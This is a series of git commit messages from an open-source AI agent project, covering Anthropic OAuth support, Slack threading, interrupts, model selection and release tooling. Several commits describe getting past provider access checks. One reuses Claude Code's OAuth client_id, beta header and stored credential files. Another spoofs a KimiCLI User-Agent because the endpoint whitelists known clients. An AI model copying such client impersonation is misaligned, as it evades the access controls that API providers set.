Critical bug: when the agent's context compressor fires during a tool
loop (_compress_context), it creates a new session_id and writes the
compressed messages there. But the gateway's session_entry still pointed
to the old session_id. On the next message, load_transcript() loaded
the stale pre-compression transcript, causing:
- Context bloat returning every turn
- Repeated compression cycles
- Loss of carefully compressed context
Fix: after run_conversation() returns, check if the agent's session_id
changed (compression split) and sync it back to the session store entry.
Also pass the effective session_id in the result dict so _handle_message
writes transcript entries to the correct session.
This affects ALL gateway adapters, not just webhook.
The old message referenced 'hermes setup' which doesn't handle
skill-specific env vars. Updated to direct users to load the skill
in the local CLI (which triggers the secure prompt) or add the key
to ~/.hermes/.env manually.
When a skill declares required_environment_variables in its YAML
frontmatter, missing env vars trigger a secure TUI prompt (identical
to the sudo password widget) when the skill is loaded. Secrets flow
directly to ~/.hermes/.env, never entering LLM context.
Key changes:
- New required_environment_variables frontmatter field for skills
- Secure TUI widget (masked input, 120s timeout)
- Gateway safety: messaging platforms show local setup guidance
- Legacy prerequisites.env_vars normalized into new format
- Remote backend handling: conservative setup_needed=True
- Env var name validation, file permissions hardened to 0o600
- Redact patterns extended for secret-related JSON fields
- 12 existing skills updated with prerequisites declarations
- ~48 new tests covering skip, timeout, gateway, remote backends
- Dynamic panel widget sizing (fixes hardcoded width from original PR)
Cherry-picked from PR #723 by kshitijk4poor, rebased onto current main
with conflict resolution.
Fixes#688
Co-authored-by: kshitijk4poor <kshitijk4poor@users.noreply.github.com>
anthropic/claude-opus-4.6 (OpenRouter format) was being sent as
claude-opus-4.6 to the Anthropic API, which expects claude-opus-4-6
(hyphens, not dots).
normalize_model_name() now converts dots to hyphens after stripping
the provider prefix, matching Anthropic's naming convention.
Fixes 404: 'model: claude-opus-4.6 was not found'
When the model returns multiple tool calls in a single response, they are
now executed concurrently using a thread pool instead of sequentially.
This significantly reduces wall-clock time when multiple independent tools
are batched (e.g. parallel web_search, read_file, terminal calls).
Architecture:
- _execute_tool_calls() dispatches to sequential or concurrent path
- Single tool calls and batches containing 'clarify' use sequential path
- Multiple non-interactive tools use ThreadPoolExecutor (max 8 workers)
- Results are collected and appended to messages in original order
- _invoke_tool() extracted as shared tool invocation helper
Safety:
- Pre-flight interrupt check skips all tools if interrupted
- Per-tool exception handling: one failure doesn't crash the batch
- Result truncation (100k char limit) applied per tool
- Budget pressure injection after all tools complete
- Checkpoints taken before file-mutating tools
- CLI spinner shows batch progress, then per-tool completion messages
Tests: 10 new tests covering dispatch logic, ordering, error handling,
interrupt behavior, truncation, and _invoke_tool routing.
- Updated command output handling to use RichText for ANSI formatting.
- Improved response display in chat console with RichText integration.
- Ensured fallback for empty command outputs with a clear message.
Fixes Anthropic OAuth/subscription authentication end-to-end:
Auth failures (401 errors):
- Add missing 'claude-code-20250219' beta header for OAuth tokens. Both
clawdbot and OpenCode include this alongside 'oauth-2025-04-20' — without
it, Anthropic's API rejects OAuth tokens with 401 authentication errors.
- Fix _fetch_anthropic_models() to use canonical beta headers from
_COMMON_BETAS + _OAUTH_ONLY_BETAS instead of hardcoding.
Token refresh:
- Add _refresh_oauth_token() — when Claude Code credentials from
~/.claude/.credentials.json are expired but have a refresh token,
automatically POST to console.anthropic.com/v1/oauth/token to get
a new access token. Uses the same client_id as Claude Code / OpenCode.
- Add _write_claude_code_credentials() — writes refreshed tokens back
to ~/.claude/.credentials.json, preserving other fields.
- resolve_anthropic_token() now auto-refreshes expired tokens before
returning None.
Config contamination:
- Anthropic's _model_flow_anthropic() no longer saves base_url to config.
Since resolve_runtime_provider() always hardcodes Anthropic's URL, the
stale base_url was contaminating other providers when users switched
without re-running 'hermes model' (e.g., Codex hitting api.anthropic.com).
- _update_config_for_provider() now pops base_url when passed empty string.
- Same fix in setup.py.
Flow/UX (hermes model command):
- CLAUDE_CODE_OAUTH_TOKEN env var now checked in credential detection
- Reauthentication option when existing credentials found
- run_oauth_setup_token() runs 'claude setup-token' as interactive
subprocess, then auto-detects saved credentials
- Clean has_creds/needs_auth flow in both main.py and setup.py
Tests (14 new):
- Beta header assertions for claude-code-20250219
- Token refresh: successful refresh with credential writeback, failed
refresh returns None, no refresh token returns None
- Credential writeback: new file creation, preserving existing fields
- Auto-refresh integration in resolve_anthropic_token()
- CLAUDE_CODE_OAUTH_TOKEN fallback, credential file auto-discovery
- run_oauth_setup_token() (5 scenarios)
Haiku models don't support extended thinking at all. Without this
guard, claude-haiku-4-5-20251001 would receive type=enabled +
budget_tokens and return a 400 error.
Incorporates the fix from PR #1127 (by frizynn) on top of #1128's
adaptive thinking refactor.
Verified live with Claude Code OAuth:
claude-opus-4-6 → adaptive thinking ✓
claude-haiku-4-5 → no thinking params ✓
claude-sonnet-4 → enabled thinking ✓
Doctor-only override so honcho shows as available when configured,
even outside a live agent session. Runtime tool gate unchanged.
Cherry-picked from PR #962 by PeterFile, rebased onto current main
(post-#736 merge) with conflict resolution.
Fixes#961
Co-authored-by: PeterFile <PeterFile@users.noreply.github.com>
For Claude 4.6 models (Opus and Sonnet), the Anthropic API rejects
budget_tokens when thinking.type is 'adaptive'. This was causing a
400 error: 'thinking.adaptive.budget_tokens: Extra inputs are not
permitted'.
Changes:
- Send thinking: {type: 'adaptive'} without budget_tokens for 4.6
- Move effort control to output_config: {effort: ...} per Anthropic docs
- Map Hermes effort levels to Anthropic effort levels (xhigh->max, etc.)
- Narrow adaptive detection to 4.6 models only (4.5 still uses manual)
- Add tests for adaptive thinking on 4.6 and manual thinking on pre-4.6
Fixes#1126
When Anthropic returns 401 and credential refresh doesn't help,
now prints actionable troubleshooting info:
- Which auth method was used (Bearer vs x-api-key)
- Token prefix for debugging
- Common fixes (stale ANTHROPIC_API_KEY, verify key, refresh login)
- How to clear stale keys
Clean fix — removes dead code that crashed with NameError on is_coding_plan. The generic _setup_provider_model_selection() already handles all affected providers.
Remove 50 lines of unreachable duplicate model selection logic in
setup_model_provider() for zai/kimi-coding/minimax/minimax-cn providers.
The code referenced undefined `is_coding_plan` variable, crashing setup.
_setup_provider_model_selection() already handles these providers correctly
via _DEFAULT_PROVIDER_MODELS dict.
Fallback paths in send_image_file, send_video, and send_document called
super() without metadata, causing replies to appear outside the thread
when file upload fails. Use self.send() with metadata instead to preserve
thread_ts context.
- Pass self.max_tokens to build_anthropic_kwargs instead of hardcoded None
- Add anthropic case to _try_activate_fallback (was only handling openai-codex)
- Remove 'anthropic in base_url' filter that blocked custom proxy URLs
- Increase MAX_MESSAGE_LENGTH from 3,900 to 39,000 (Slack API allows 40k)
- Implement real typing indicator using assistant.threads.setStatus API
- Shows 'BotName is thinking...' next to the bot name in threads
- Auto-clears when the bot sends a reply
- Requires assistant:write or chat:write scope
- Falls back silently if scope unavailable (reactions still work)
- 4 new tests for typing indicator
The memory flush path extracted tool_calls from the response assuming
OpenAI format (response.choices[0].message.tool_calls). When using
the Anthropic client directly (aux unavailable), the response is an
Anthropic Message object which has no .choices attribute. Now uses
normalize_anthropic_response() to extract tool_calls correctly.
- quickstart.md: Add Anthropic to the provider comparison table
- configuration.md: Add Anthropic to provider list table, add full
'Anthropic (Native)' section with three auth methods (API key,
setup-token, Claude Code auto-detect), config.yaml example,
and provider alias tip
- environment-variables.md: Add ANTHROPIC_API_KEY, ANTHROPIC_TOKEN,
CLAUDE_CODE_OAUTH_TOKEN to LLM Providers table; add 'anthropic'
to HERMES_INFERENCE_PROVIDER values list
Remaining issues from deep scan:
Adapter (agent/anthropic_adapter.py):
- Add _sanitize_tool_id() — Anthropic requires IDs matching [a-zA-Z0-9_-],
now strips invalid chars and ensures non-empty (both tool_use and tool_result)
- Empty tool result content → '(no output)' placeholder (Anthropic rejects empty)
- Set temperature=1 when thinking type='enabled' on older models (required)
- normalize_model_name now case-insensitive for 'Anthropic/' prefix
- Fix stale docstrings referencing only ~/.claude/.credentials.json
Agent loop (run_agent.py):
- Guard memory flush path (line ~2684) — was calling self.client.chat.completions
which is None in anthropic_messages mode. Now routes through Anthropic client.
- Guard summary generation path (line ~3171) — same crash when reaching
iteration limit. Now builds proper Anthropic kwargs and normalizes response.
- Guard retry summary path (line ~3200) — same fix for the summary retry loop.
All three self.client.chat.completions.create() calls outside the main
loop now have anthropic_messages branches to prevent NoneType crashes.
Fixes from comprehensive code review and cross-referencing with
clawdbot/OpenCode implementations:
CRITICAL:
- Add one-shot guard (anthropic_auth_retry_attempted) to prevent
infinite 401 retry loops when credentials keep changing
- Fix _is_oauth_token(): managed keys from ~/.claude.json are NOT
regular API keys (don't start with sk-ant-api). Inverted the logic:
only sk-ant-api* is treated as API key auth, everything else uses
Bearer auth + oauth beta headers
HIGH:
- Wrap json.loads(args) in try/except in message conversion — malformed
tool_call arguments no longer crash the entire conversation
- Raise AuthError in runtime_provider when no Anthropic token found
(was silently passing empty string, causing confusing API errors)
- Remove broken _try_anthropic() from auxiliary vision chain — the
centralized router creates an OpenAI client for api_key providers
which doesn't work with Anthropic's Messages API
MEDIUM:
- Handle empty assistant message content — Anthropic rejects empty
content blocks, now inserts '(empty)' placeholder
- Fix setup.py existing_key logic — set to 'KEEP' sentinel instead
of None to prevent falling through to the auth choice prompt
- Add debug logging to _fetch_anthropic_models on failure
Tests: 43 adapter tests (2 new for token detection), 3197 total passed
- Add _fetch_anthropic_models() to hermes_cli/models.py — hits the
Anthropic /v1/models endpoint to get the live model catalog. Handles
both API key and OAuth token auth headers.
- Wire it into provider_model_ids() so both 'hermes model' and
'hermes setup model' show the live list instead of a stale static one.
- Update static _PROVIDER_MODELS fallback with full current catalog:
opus-4-6, sonnet-4-6, opus-4-5, sonnet-4-5, opus-4, sonnet-4, haiku-4-5
- Update model_metadata.py with context lengths for all current models.
- Fix thinking parameter for 4.5+ models: use type='adaptive' instead
of type='enabled' (Anthropic deprecated 'enabled' for newer models,
warns at runtime). Detects model version from the model name string.
Verified live:
hermes model → Anthropic → auto-detected creds → shows 7 live models
hermes chat --provider anthropic --model claude-opus-4-6 → works
The critical bug: read_claude_code_credentials() only looked at
~/.claude/.credentials.json, but Claude Code's native binary (v2.x,
Bun-compiled) stores credentials in ~/.claude.json at the top level
as 'primaryApiKey'. The .credentials.json file is only written by
older npm-based installs.
Now checks both locations in priority order:
1. ~/.claude.json → primaryApiKey (native binary, v2.x)
2. ~/.claude/.credentials.json → claudeAiOauth.accessToken (legacy)
Verified live: hermes model → Anthropic → auto-detected credentials →
claude-sonnet-4-20250514 → 'Hello there, how are you?' (5 words)
Both 'hermes model' and 'hermes setup model' now present a clear
two-option auth flow when no credentials are found:
1. Claude Pro/Max subscription (setup-token)
- Step-by-step instructions to run 'claude setup-token'
- User pastes the resulting sk-ant-oat01-... token
2. Anthropic API key (pay-per-token)
- Link to console.anthropic.com/settings/keys
- User pastes sk-ant-api03-... key
Also handles:
- Auto-detection of existing Claude Code creds (~/.claude/.credentials.json)
- Existing credentials shown with option to update
- Consistent UX between 'hermes model' and 'hermes setup model'
* fix: stop rejecting unlisted models + auto-detect from /models endpoint
validate_requested_model() now accepts models not in the provider's API
listing with a warning instead of blocking. Removes hardcoded catalog
fallback for validation — if API is unreachable, accepts with a warning.
Model selection flows (setup + /model command) now probe the provider's
/models endpoint to get the real available models. Falls back to
hardcoded defaults with a clear warning when auto-detection fails:
'Could not auto-detect models — use Custom model if yours isn't listed.'
Z.AI setup no longer excludes GLM-5 on coding plans.
* fix: use hermes-agent.nousresearch.com as HTTP-Referer for OpenRouter
OpenRouter scrapes the favicon/logo from the HTTP-Referer URL for app
rankings. We were sending the GitHub repo URL, which gives us a generic
GitHub logo. Changed to the proper website URL so our actual branding
shows up in rankings.
Changed in run_agent.py (main agent client) and auxiliary_client.py
(vision/summarization clients).
Feedback fixes:
1. Revert _convert_vision_content — vision is handled by the vision_analyze
tool, not by converting image blocks inline in conversation messages.
Removed the function and its tests.
2. Add Anthropic to 'hermes model' (cmd_model in main.py):
- Added to provider_labels dict
- Added to providers selection list
- Added _model_flow_anthropic() with Claude Code credential auto-detection,
API key prompting, and model selection from catalog.
3. Wire up Anthropic as a vision-capable auxiliary provider:
- Added _try_anthropic() to auxiliary_client.py using claude-sonnet-4
as the vision model (Claude natively supports multimodal)
- Added to the get_vision_auxiliary_client() auto-detection chain
(after OpenRouter/Nous, before Codex/custom)
Cache tracking note: the Anthropic cache metrics branch in run_agent.py
(cache_read_input_tokens / cache_creation_input_tokens) is in the correct
place — it's response-level parsing, same location as the existing
OpenRouter cache tracking. auxiliary_client.py has no cache tracking.
Three bugs fixed in the Slack adapter:
1. Tool progress messages leaked to main channel instead of thread.
Root cause: metadata key mismatch — gateway uses 'thread_id' but
Slack adapter checked for 'thread_ts'. Added _resolve_thread_ts()
helper that checks both keys with correct precedence.
2. Bot responses could escape threads for replies.
Root cause: reply_to was set to the child message's ts, but Slack
API needs the parent message's ts for thread_ts. Now metadata
thread_id (always the parent ts) takes priority over reply_to.
3. All Slack DMs shared one session key ('agent:main:slack:dm'),
so a long-running task blocked all other DM conversations.
Fix: DMs with thread_id now get per-thread session keys. Top-level
DMs still share one session for conversation continuity.
Additional fix: All Slack media methods (send_image, send_voice,
send_video, send_document, send_image_file) now accept metadata
parameter for thread routing. Previously they only accepted reply_to,
which caused media to silently fail to post in threads.
Session key behavior after this change:
- Slack channel @mention: creates thread, thread = session
- Slack thread reply: stays in thread, same session
- Slack DM (top-level): one continuous session
- Slack DM (threaded): per-thread session
- Other platforms: unchanged
* fix: use session_key instead of chat_id for adapter interrupt lookups
monitor_for_interrupt() in _run_agent was using source.chat_id to query
the adapter's has_pending_interrupt() and get_pending_message() methods.
But the adapter stores interrupt events under build_session_key(source),
which produces a different string (e.g. 'agent:main:telegram:dm' vs '123456').
This key mismatch meant the interrupt was never detected through the
adapter path, which is the only active interrupt path for all adapter-based
platforms (Telegram, Discord, Slack, etc.). The gateway-level interrupt
path (in dispatch_message) is unreachable because the adapter intercepts
the 2nd message in handle_message() before it reaches dispatch_message().
Result: sending a new message while subagents were running had no effect —
the interrupt was silently lost.
Fix: replace all source.chat_id references in the interrupt-related code
within _run_agent() with the session_key parameter, which matches the
adapter's storage keys.
Also adds regression tests verifying session_key vs chat_id consistency.
* debug: add file-based logging to CLI interrupt path
Temporary instrumentation to diagnose why message-based interrupts
don't seem to work during subagent execution. Logs to
~/.hermes/interrupt_debug.log (immune to redirect_stdout).
Two log points:
1. When Enter handler puts message into _interrupt_queue
2. When chat() reads it and calls agent.interrupt()
This will reveal whether the message reaches the queue and
whether the interrupt is actually fired.
* fix: accept unlisted models with warning instead of rejecting
validate_requested_model() previously hard-rejected any model not found
in the provider's API listing. This was too aggressive — users on higher
plan tiers (e.g. Z.AI Pro/Max) may have access to models not shown in
the public listing (like glm-5 on coding endpoints).
Changes:
- validate_requested_model: accept unlisted models with a warning note
instead of blocking. The model is saved to config and used immediately.
- Z.AI setup: always offer glm-5 in the model list regardless of whether
a coding endpoint was detected. Pro/Max plans support it.
- Z.AI setup detection message: softened from 'GLM-5 is not available'
to 'GLM-5 may still be available depending on your plan tier'
After studying clawdbot (OpenClaw) and OpenCode implementations:
## Beta headers
- Add interleaved-thinking-2025-05-14 and fine-grained-tool-streaming-2025-05-14
as common betas (sent with ALL auth types, not just OAuth)
- OAuth tokens additionally get oauth-2025-04-20
- API keys now also get the common betas (previously got none)
## Vision/image support
- Add _convert_vision_content() to convert OpenAI multimodal format
(image_url blocks) to Anthropic format (image blocks with base64/url source)
- Handles both data: URIs (base64) and regular URLs
## Role alternation enforcement
- Anthropic strictly rejects consecutive same-role messages (400 error)
- Add post-processing step that merges consecutive user/assistant messages
- Handles string, list, and mixed content types during merge
## Tool choice support
- Add tool_choice parameter to build_anthropic_kwargs()
- Maps OpenAI values: auto→auto, required→any, none→omit, name→tool
## Cache metrics tracking
- Anthropic uses cache_read_input_tokens / cache_creation_input_tokens
(different from OpenRouter's prompt_tokens_details.cached_tokens)
- Add api_mode-aware branch in run_agent.py cache stats logging
## Credential refresh on 401
- On 401 error during anthropic_messages mode, re-read credentials
via resolve_anthropic_token() (picks up refreshed Claude Code tokens)
- Rebuild client if new token differs from current one
- Follows same pattern as Codex/Nous 401 refresh handlers
## Tests
- 44 adapter tests (8 new: vision conversion, role alternation, tool choice)
- Updated beta header tests to verify new structure
- Full suite: 3198 passed, 0 regressions
Root cause: two issues combined to create visual spam on Telegram/Discord:
1. build_tool_preview() preserved newlines from tool arguments. A preview
like 'import os\nprint("...")' rendered as 2+ visual lines per
progress entry on messaging platforms. This affected execute_code most
(code always has newlines), but could also hit terminal, memory,
send_message, session_search, and process tools.
2. No deduplication of identical progress messages. When models iterate
with execute_code using the same boilerplate code (common pattern),
each call produced an identical progress line. 9 calls x 2 visual
lines = 18 lines of identical spam in one message bubble.
Fixes:
- Added _oneline() helper to collapse all whitespace (newlines, tabs) to
single spaces. Applied to ALL code paths in build_tool_preview() —
both the generic path and every early-return path that touches user
content (memory, session_search, send_message, process).
- Added dedup in gateway progress_callback: consecutive identical messages
are collapsed with a repeat counter, e.g. 'execute_code: ... (x9)'
instead of 9 identical lines. The send_progress_messages async loop
handles dedup tuples by updating the last progress_line in-place.
* fix: ClawHub skill install — use /download ZIP endpoint
The ClawHub API v1 version endpoint only returns file metadata
(path, size, sha256, contentType) without inline content or download
URLs. Our code was looking for inline content in the metadata, which
never existed, causing all ClawHub installs to fail with:
'no inline/raw file content was available'
Fix: Use the /api/v1/download endpoint (same as the official clawhub
CLI) to download skills as ZIP bundles and extract files in-memory.
Changes:
- Add _download_zip() method that downloads and extracts ZIP bundles
- Retry on 429 rate limiting with Retry-After header support
- Path sanitization and binary file filtering for security
- Keep _extract_files() as a fallback for inline/raw content
- Also fix nested file lookup (version_data.version.files)
* chore: lower default compression threshold from 85% to 50%
Triggers context compression earlier — at 50% of the model's context
window instead of 85%. Updated in all four places where the default
is defined: context_compressor.py, cli.py, run_agent.py, config.py,
and gateway/run.py.
The tinker-atropos submodule and its heavy dependencies (atroposlib, tinker,
wandb, fastapi, uvicorn) were being installed for all users by default,
adding significant install time and disk usage for most users who don't
need RL training capabilities.
Changes:
- install.sh: Only init mini-swe-agent submodule by default; skip
tinker-atropos clone and install entirely
- install.sh: Remove --recurse-submodules from git clone (only fetches
what's needed)
- pyproject.toml: Add [rl] optional dependency group for explicit opt-in
- rl_training_tool.py: Move LOGS_DIR.mkdir() from module-level to lazy
init (_ensure_logs_dir) to avoid side effects on import
- README.md: Update contributor quick start to not auto-fetch
tinker-atropos; add RL opt-in instructions
Users who want RL training can opt in with:
git submodule update --init tinker-atropos
uv pip install -e ./tinker-atropos
* fix: use session_key instead of chat_id for adapter interrupt lookups
monitor_for_interrupt() in _run_agent was using source.chat_id to query
the adapter's has_pending_interrupt() and get_pending_message() methods.
But the adapter stores interrupt events under build_session_key(source),
which produces a different string (e.g. 'agent:main:telegram:dm' vs '123456').
This key mismatch meant the interrupt was never detected through the
adapter path, which is the only active interrupt path for all adapter-based
platforms (Telegram, Discord, Slack, etc.). The gateway-level interrupt
path (in dispatch_message) is unreachable because the adapter intercepts
the 2nd message in handle_message() before it reaches dispatch_message().
Result: sending a new message while subagents were running had no effect —
the interrupt was silently lost.
Fix: replace all source.chat_id references in the interrupt-related code
within _run_agent() with the session_key parameter, which matches the
adapter's storage keys.
Also adds regression tests verifying session_key vs chat_id consistency.
* debug: add file-based logging to CLI interrupt path
Temporary instrumentation to diagnose why message-based interrupts
don't seem to work during subagent execution. Logs to
~/.hermes/interrupt_debug.log (immune to redirect_stdout).
Two log points:
1. When Enter handler puts message into _interrupt_queue
2. When chat() reads it and calls agent.interrupt()
This will reveal whether the message reaches the queue and
whether the interrupt is actually fired.
The ClawHub API v1 version endpoint only returns file metadata
(path, size, sha256, contentType) without inline content or download
URLs. Our code was looking for inline content in the metadata, which
never existed, causing all ClawHub installs to fail with:
'no inline/raw file content was available'
Fix: Use the /api/v1/download endpoint (same as the official clawhub
CLI) to download skills as ZIP bundles and extract files in-memory.
Changes:
- Add _download_zip() method that downloads and extracts ZIP bundles
- Retry on 429 rate limiting with Retry-After header support
- Path sanitization and binary file filtering for security
- Keep _extract_files() as a fallback for inline/raw content
- Also fix nested file lookup (version_data.version.files)
Mistral's API strictly validates the Chat Completions schema and rejects
unknown fields (call_id, response_item_id) with 422. These fields are
added by _build_assistant_message() for Codex Responses API support.
This fix:
- Only strips when targeting Mistral (api.mistral.ai in base_url)
- Creates new tool_call dicts instead of mutating originals (shallow
copy safety — msg.copy() shares the tool_calls list)
- Preserves call_id/response_item_id in the internal message history
so _chat_messages_to_responses_input() can still read them if the
session falls back to a Codex provider mid-conversation
Applied in all 3 API message building locations:
- Main conversation loop (run_conversation)
- _handle_max_iterations()
- flush_memories()
Inspired by PR #864 (unmodeled-tyler) which identified the issue but
applied the fix unconditionally and mutated originals via shallow copy.
Co-authored-by: unmodeled-tyler <unmodeled.tyler@proton.me>
Add @easyops-cn/docusaurus-search-local (v0.55.1) for offline/local
full-text search across all documentation pages.
- Search bar appears in the navbar (Ctrl/Cmd+K shortcut)
- Builds a search index at build time — no external service needed
- Highlights matched terms on target page after clicking a result
- Dedicated /search page for expanded results
- Blog indexing disabled (blog is off)
- docsRouteBasePath set to '/' to match existing docs routing
Follow-up to PR #862 (local skills classification by arceus77-7):
- Remove unnecessary isinstance guard on _read_manifest() return value —
it always returns Dict[str, str], so set() on it suffices.
- Extract repeated hub-dir monkeypatching into a shared pytest fixture (hub_env).
- Add three_source_env fixture for source-classification tests.
- Add _read_manifest monkeypatch to test_do_list_initializes_hub_dir
(was fragile — relied on empty skills list masking the real manifest).
- Add test coverage for --source hub and --source builtin filters.
- Extract _capture() helper to reduce console/StringIO boilerplate.
5 tests, all green.
When a dangerous command is detected and the user is prompted for
approval, long commands are truncated (80 chars in fallback, 70 chars
in the TUI). Users had no way to see the full command before deciding.
This adds a 'View full command' option across all approval interfaces:
- CLI fallback (tools/approval.py): [v]iew option in the prompt menu.
Shows the full command and re-prompts for approval decision.
- CLI TUI (cli.py): 'Show full command' choice in the arrow-key
selection panel. Expands the command display in-place and removes
the view option after use.
- CLI callbacks (callbacks.py): 'view' choice added to the list when
the command exceeds 70 characters.
- Gateway (gateway/run.py): 'full', 'show', 'view' responses reveal
the complete command while keeping the approval pending.
Includes 7 new tests covering view-then-approve, view-then-deny,
short command fallthrough, and double-view behavior.
Closes community feedback about the 80-char cap on dangerous commands.
* fix: /reasoning command output ordering, display, and inline think extraction
Three issues with the /reasoning command:
1. Output interleaving: The command echo used print() while feedback
used _cprint(), causing them to render out-of-order under
prompt_toolkit's patch_stdout. Changed echo to use _cprint() so
all output renders through the same path in correct order.
2. Reasoning display not working: /reasoning show toggled a flag
but reasoning never appeared for models that embed thinking in
inline <think> blocks rather than structured API fields. Added
fallback extraction in _build_assistant_message to capture
<think> block content as reasoning when no structured reasoning
fields (reasoning, reasoning_content, reasoning_details) are
present. This feeds into both the reasoning callback (during
tool loops) and the post-response reasoning box display.
3. Feedback clarity: Added checkmarks to confirm actions, persisted
show/hide to config (was session-only before), and aligned the
status display for readability.
Tests: 7 new tests for inline think block extraction (41 total).
* feat: add /reasoning command to gateway (Telegram/Discord/etc)
The /reasoning command only existed in the CLI — messaging platforms
had no way to view or change reasoning settings. This adds:
1. /reasoning command handler in the gateway:
- No args: shows current effort level and display state
- /reasoning <level>: sets reasoning effort (none/low/medium/high/xhigh)
- /reasoning show|hide: toggles reasoning display in responses
- All changes saved to config.yaml immediately
2. Reasoning display in gateway responses:
- When show_reasoning is enabled, prepends a 'Reasoning' block
with the model's last_reasoning content before the response
- Collapses long reasoning (>15 lines) to keep messages readable
- Uses last_reasoning from run_conversation result dict
3. Plumbing:
- Added _show_reasoning attribute loaded from config at startup
- Propagated last_reasoning through _run_agent return dict
- Added /reasoning to help text and known_commands set
- Uses getattr for _show_reasoning to handle test stubs
* fix: improve Kimi model selection — auto-detect endpoint, add missing models
Kimi Coding Plan setup:
- New dedicated _model_flow_kimi() replaces the generic API-key flow
for kimi-coding. Removes the confusing 'Base URL' prompt entirely —
the endpoint is auto-detected from the API key prefix:
sk-kimi-* → api.kimi.com/coding/v1 (Kimi Coding Plan)
other → api.moonshot.ai/v1 (legacy Moonshot)
- Shows appropriate models for each endpoint:
Coding Plan: kimi-for-coding, kimi-k2.5, kimi-k2-thinking, kimi-k2-thinking-turbo
Moonshot: full model catalog
- Clears any stale KIMI_BASE_URL override so runtime auto-detection
via _resolve_kimi_base_url() works correctly.
Model catalog updates:
- Added kimi-for-coding (primary Coding Plan model) and kimi-k2-thinking-turbo
to models.py, main.py _PROVIDER_MODELS, and model_metadata.py context windows.
- Updated User-Agent from KimiCLI/1.0 to KimiCLI/1.3 (Kimi's coding
endpoint whitelists known coding agents via User-Agent sniffing).
Adds --pass-session-id CLI flag. When set, the agent's system prompt
includes the session ID:
Conversation started: Sunday, March 08, 2026 06:32 PM
Session ID: 20260308_183200_abc123
Usage:
hermes --pass-session-id
hermes chat --pass-session-id
Implementation threads the flag as a proper parameter through the full
chain (main.py → cli.py → run_agent.py) rather than using an env var,
avoiding collisions in multi-agent/multitenant setups.
Based on PR #726 by dmahan93, reworked to use instance parameter
instead of HERMES_PASS_SESSION_ID environment variable.
Co-authored-by: dmahan93 <dmahan93@users.noreply.github.com>
* fix: /reasoning command output ordering, display, and inline think extraction
Three issues with the /reasoning command:
1. Output interleaving: The command echo used print() while feedback
used _cprint(), causing them to render out-of-order under
prompt_toolkit's patch_stdout. Changed echo to use _cprint() so
all output renders through the same path in correct order.
2. Reasoning display not working: /reasoning show toggled a flag
but reasoning never appeared for models that embed thinking in
inline <think> blocks rather than structured API fields. Added
fallback extraction in _build_assistant_message to capture
<think> block content as reasoning when no structured reasoning
fields (reasoning, reasoning_content, reasoning_details) are
present. This feeds into both the reasoning callback (during
tool loops) and the post-response reasoning box display.
3. Feedback clarity: Added checkmarks to confirm actions, persisted
show/hide to config (was session-only before), and aligned the
status display for readability.
Tests: 7 new tests for inline think block extraction (41 total).
* feat: add /reasoning command to gateway (Telegram/Discord/etc)
The /reasoning command only existed in the CLI — messaging platforms
had no way to view or change reasoning settings. This adds:
1. /reasoning command handler in the gateway:
- No args: shows current effort level and display state
- /reasoning <level>: sets reasoning effort (none/low/medium/high/xhigh)
- /reasoning show|hide: toggles reasoning display in responses
- All changes saved to config.yaml immediately
2. Reasoning display in gateway responses:
- When show_reasoning is enabled, prepends a 'Reasoning' block
with the model's last_reasoning content before the response
- Collapses long reasoning (>15 lines) to keep messages readable
- Uses last_reasoning from run_conversation result dict
3. Plumbing:
- Added _show_reasoning attribute loaded from config at startup
- Propagated last_reasoning through _run_agent return dict
- Added /reasoning to help text and known_commands set
- Uses getattr for _show_reasoning to handle test stubs
curated_models_for_provider() now tries the live API first (via
provider_model_ids) before falling back to static _PROVIDER_MODELS.
This means /model and /provider slash commands show the actual
available models, not a stale hardcoded list.
Also added live Nous Portal model fetching via fetch_nous_models()
in provider_model_ids(), alongside the existing Codex live fetch.
- Update __version__ to 0.2.0 (was 0.1.0)
- Update pyproject.toml to match
- Add RELEASE_v0.2.0.md with comprehensive changelog covering:
- All 231 merged PRs
- 120 resolved issues
- 74+ contributors credited
- Organized by feature area with PR links
- Fix version mismatch: __init__.py had 'v1.0.0', pyproject.toml had '0.1.0'
Now both use '0.1.0' (no v prefix — added in display code only)
- Add __release_date__ for CalVer date tracking alongside SemVer version
- Fix double-v bug in cmd_version (was printing 'vv1.0.0')
- Update banner title to show 'Hermes Agent v0.1.0 (2026.3.12)' format
- Update cli.py banner to match new format
- Add scripts/release.py: full release automation tool
- Generates categorized changelogs from git history
- Maps git authors to GitHub @mentions (70+ contributors)
- Supports dry-run preview and --publish mode
- Creates annotated CalVer git tags + GitHub Releases
- Bumps semver in source files automatically
- Usage: python scripts/release.py --bump minor --publish
- Add .release_notes.md to .gitignore
Versioning scheme: CalVer tags (v2026.3.12) + SemVer display (v0.1.0)
4 test files spawn real processes or make live API calls that hang
indefinitely in batch/CI runs. Skip them with pytestmark:
- tests/tools/test_code_execution.py (subprocess spawns)
- tests/tools/test_file_tools_live.py (live LocalEnvironment)
- tests/test_413_compression.py (blocks on process)
- tests/test_agent_loop_tool_calling.py (live OpenRouter API calls)
Also added global 30s signal.alarm timeout in conftest.py as a safety
net, and removed stale nous-api test that hung on OAuth browser login.
Suite now runs in ~55s with no hangs.
- Remove test_nous_api_setup_preserves_model_provider_metadata (nous-api
provider no longer exists, test selected Nous OAuth which hangs waiting
for browser login)
- Fix test_nous_oauth_setup prompt_choice index: 1→0 (Nous Portal is
now first option after nous-api removal)
- gateway/run.py: Take main's _resolve_gateway_model() helper
- hermes_cli/setup.py: Re-apply nous-api removal after merge brought
it back. Fix provider_idx offset (Custom is now index 3, not 4).
- tests/hermes_cli/test_setup.py: Fix custom setup test index (3→4)
- Custom endpoints can serve any model, so skip validation for
provider='custom' in validate_requested_model(). Previously it
would reject any model name since there's no static catalog or
live API to check against.
- Show clear setup instructions when switching to custom endpoint
without OPENAI_BASE_URL/OPENAI_API_KEY configured.
- Added curated model lists for Nous Portal and OpenAI Codex to
_PROVIDER_MODELS so /model shows their available models.
Both /model and /provider now show the same unified display:
Current: anthropic/claude-opus-4.6 via OpenRouter
Authenticated providers & models:
[openrouter] ← active
anthropic/claude-opus-4.6 ← current
anthropic/claude-sonnet-4.5
...
[nous]
claude-opus-4-6
gemini-3-flash
...
[openai-codex]
gpt-5.2-codex
gpt-5.1-codex-mini
...
Not configured: Z.AI / GLM, Kimi / Moonshot, ...
Switch model: /model <model-name>
Switch provider: /model <provider>:<model-name>
Example: /model nous:claude-opus-4-6
Users can see all authenticated providers and their models at a glance,
making it easy to switch mid-conversation.
Also added curated model lists for Nous Portal and OpenAI Codex to
hermes_cli/models.py.
Nous Portal backend will become a transparent proxy for OpenRouter-
